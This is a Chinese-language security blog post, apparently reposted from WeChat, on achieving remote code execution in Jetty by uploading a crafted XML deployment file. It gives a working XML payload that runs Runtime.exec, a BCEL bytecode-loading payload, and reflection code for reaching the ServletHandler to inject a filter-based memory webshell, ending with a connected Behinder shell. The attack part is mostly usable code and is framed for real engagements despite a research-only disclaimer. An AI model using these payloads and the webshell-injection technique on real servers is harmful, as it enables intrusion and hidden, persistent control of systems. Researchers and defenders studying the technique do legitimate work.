Jetty xml trick

admin 2022年10月29日14:51:57评论233 views字数 6113阅读20分22秒阅读模式

前言

    在8月份的时候在蓝鸟上看见有研究员分享一个关于jetty中间件下的上传xml来rce的trick,当存在一个上传漏洞且可以上传一个xml文件到webapss下面的时候,我们可以使用以下XML文件实现RCE,其代码将在应用程序部署时立即执行(不需要重启)。

Jetty xml trick

该xml文件有自己的语法,允许实例化任何对象,并调用getter、setter和方法;可以参考官方文档语法知道 Call 标签是实现指定对象的任意⽅法调⽤

<?xml version="1.0"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "https://www.eclipse.org/jetty/configure_10_0.dtd">
<Configure class="org.eclipse.jetty.server.handler.ContextHandler">
   <Call class="java.lang.Runtime" name="getRuntime">
       <Call name="exec">
           <Arg>
               <Array type="String">
                   <Item>calc</Item>
               </Array>
           </Arg>
       </Call>
   </Call>
</Configure>

分析

    本地搭建了一个文件上传的漏洞利用环境,只能上传xml文件,首先将上面的xml上传到webapss目录下,查看了一下堆栈信息,发现在jetty启动部署时存在一个scan线程,其中的一个方法为reportDifferences,该方法作用主要就是扫描webapps下的文件是否存在更新、修改、删除等操作。我这里是上传了一个新的xml,所以调用的notefication的值就为added

Jetty xml trick

在判断是新增文件后,就会调用DeploymentManager对象,而该对象在jetty中的主要作用就是

  1. 跟踪应用程序及其生命周期位置

  2. 管理 AppProviders 及其提供的应用程序。

  3. 根据当前和所需的生命周期位置在 App 上执行 AppLifeCycle

addApp方法主要作用就是接收新建一个要处理的应用程序,传入的是一个App对象,该App对象是一个指定 Origin ID 和 archivePath 的 App

Jetty xml trick

进入addApp,通过AppLifeCycle将应用程序移动到所需节点并设置绑定生命周期

Jetty xml trick

Jetty xml trick

在runBindings方法中会去调用binding.processBinding方法,通过节点名和app对象进行调用,此时的binding对象为StandarDeployer

Jetty xml trick

在processBinding方法中,调用了app.getContextHandler(),获取到程序的ContextHandler对象,而Jetty处理过程中正是根据 ContextHandler 进⾏上下⽂管理

    public void processBinding(Node node, App app) throws Exception {
       ContextHandler handler = app.getContextHandler();
       if (handler == null) {
           throw new NullPointerException("No Handler created for App: " + app);
      } else {
           Callback.Completable blocker = new Callback.Completable();
           app.getDeploymentManager().getContexts().deployHandler(handler, blocker);
           blocker.get();
      }
  }

而我们此时的ContextHandler是为null,就会去调用createContextHandler新建一个ContextHandler对象

    public ContextHandler getContextHandler() throws Exception {
       if (this._context == null) {
           this._context = this.getAppProvider().createContextHandler(this);
           AttributesMap attributes = this._manager.getContextAttributes();
           if (attributes != null && attributes.size() > 0) {
               attributes = new AttributesMap(attributes);
               attributes.addAll(this._context.getAttributes());
               this._context.setAttributes(attributes);
          }
      }

       return this._context;
  }

新建的时候就会调用xmlc.configure()对我们的xml文件进行解析

    public ContextHandler createContextHandler(App app) throws Exception {
       Resource resource = Resource.newResource(app.getOriginId());
       File file = resource.getFile();
       if (!resource.exists()) {
           throw new IllegalStateException("App resource does not exist " + resource);
      } else {
           String context = file.getName();
           if (resource.exists() && FileID.isXmlFile(file)) {
               XmlConfiguration xmlc = new XmlConfiguration(resource.getURI().toURL()) {
                   public void initializeDefaults(Object context) {
                       super.initializeDefaults(context);
                       if (context instanceof WebAppContext) {
                           WebAppContext webapp = (WebAppContext)context;
                           WebAppProvider.this.initializeWebAppContextDefaults(webapp);
                      }

                  }
              };
               this.getDeploymentManager().scope(xmlc, resource);
               if (this.getConfigurationManager() != null) {
                   xmlc.getProperties().putAll(this.getConfigurationManager().getProperties());
              }

               return (ContextHandler)xmlc.configure();

跟到XmlConfiguration.configure方法中,会对xml内容进行一个递归解析,前面提到过该xml语法是可以利用Call标签进行实例化任何对象,继续跟如this.call方法

Jetty xml trick

在call方法中通过获取对应标签的内容进行实例化指定的对象,造成漏洞触发

Jetty xml trick

Jetty xml trick

Jetty xml trick

漏洞利用-内存马注入

这里前面的的payload只是简单的弹计算器,那么在实战项目中我们需要的一个webshell,既然可以实例化任何对象,那么就可以简单的构造一个加载bcel字节码的payload(当然如果jdk过高你也可以构造一个defenclass字节码加载)

<?xml version="1.0"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd">
<Configure id="abc" class="org.eclipse.jetty.webapp.WebAppContext">
 <New id="cl" class="com.sun.org.apache.bcel.internal.util.ClassLoader">
   <Call name="loadClass">
     <Arg>$$BCEL$$......</Arg>
     <Call name="newInstance"></Call>
   </Call>
 </New>
</Configure>

首先尝试利用的是自己以前写的jetty 哥斯拉内存马,发现内存马没注入上,发现通过上传触发漏洞对应的classloader为startjarloader.jar,难怪这里没有种上内存马

Jetty xml trick

有过了解过jetty内存马师傅就可以知道我们是需要先获取到ServletHandler对象后续利用该对象才可以添加filter内存马,于是我在XmlParser#parse处打下断点,并利用java-object-search进行对象搜索

List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("servletHandler").build());
//定义黑名单
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
//打开调试模式,会生成log日志
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("C:\Users\Administrator\Desktop\java-object-search\");
searcher.searchObject();

得到如下结果,通过这个堆栈结果就很简单了我们只需要通过线程去拿TimerTask[]在一步一步反射构造就可以拿到ServletHandler对象

TargetObject = {java.util.TimerThread} 
 ---> queue = {java.util.TaskQueue}
  ---> queue = {class [Ljava.util.TimerTask;}
   ---> [1] = {org.eclipse.jetty.util.Scanner$1}
    ---> this$0 = {org.eclipse.jetty.util.Scanner}
     ---> _listeners = {java.util.List<org.eclipse.jetty.util.Scanner$Listener>}
      ---> [0] = {org.eclipse.jetty.deploy.providers.ScanningAppProvider$1}
       ---> this$0 = {org.eclipse.jetty.deploy.providers.WebAppProvider}
        ---> _appMap = {java.util.Map<java.lang.String, org.eclipse.jetty.deploy.App>}
         ---> [C:UsersAdministratorDesktopjettywebappsspring.war] = {org.eclipse.jetty.deploy.App}
          ---> _context = {org.eclipse.jetty.webapp.WebAppContext}
                 ---> _servletHandler = {org.eclipse.jetty.servlet.ServletHandler}

通过反射首先获取timertask对象


Thread thread = Thread.currentThread();
Field taskqueuefield = thread.getClass().getDeclaredField("queue");
taskqueuefield.setAccessible(true);
Object taskqueue = taskqueuefield.get(thread);
Field timertaskqueue = taskqueue.getClass().getDeclaredField("queue");
timertaskqueue.setAccessible(true);
Object timertask = timertaskqueue.get(taskqueue);

Jetty xml trick

在获取到timertask对象强转为数组,获取[1]即可获取到scanner对象,获取scanner对象后通过获取_listeners属性得到ArrayList类型的provider对象,在通过this$0获取到WebAppprovider属性

Jetty xml trick

在WebAppprovider对象中通过调用其父类的_appMap属性得到一个hashmap,key为部署的war包绝对路径,value中存放着context属性;通过反射获取value中的context属性得到WebAppContext对象,调用父类的_servletHandler属性即可获取到ServletHandler对象

Jetty xml trick

Jetty xml trick

拿到servletHandler对象后,在通过addFilterWithMapping等方法去注入filter内存马即可,这一部分可参考网上公开的内存马部分即可

Jetty xml trick

最后附上成功连接冰蝎

Jetty xml trick

原文始发于微信公众号(从零开始的回忆录):Jetty xml trick

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月29日14:51:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Jetty xml trickhttps://cn-sec.com/archives/1373972.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息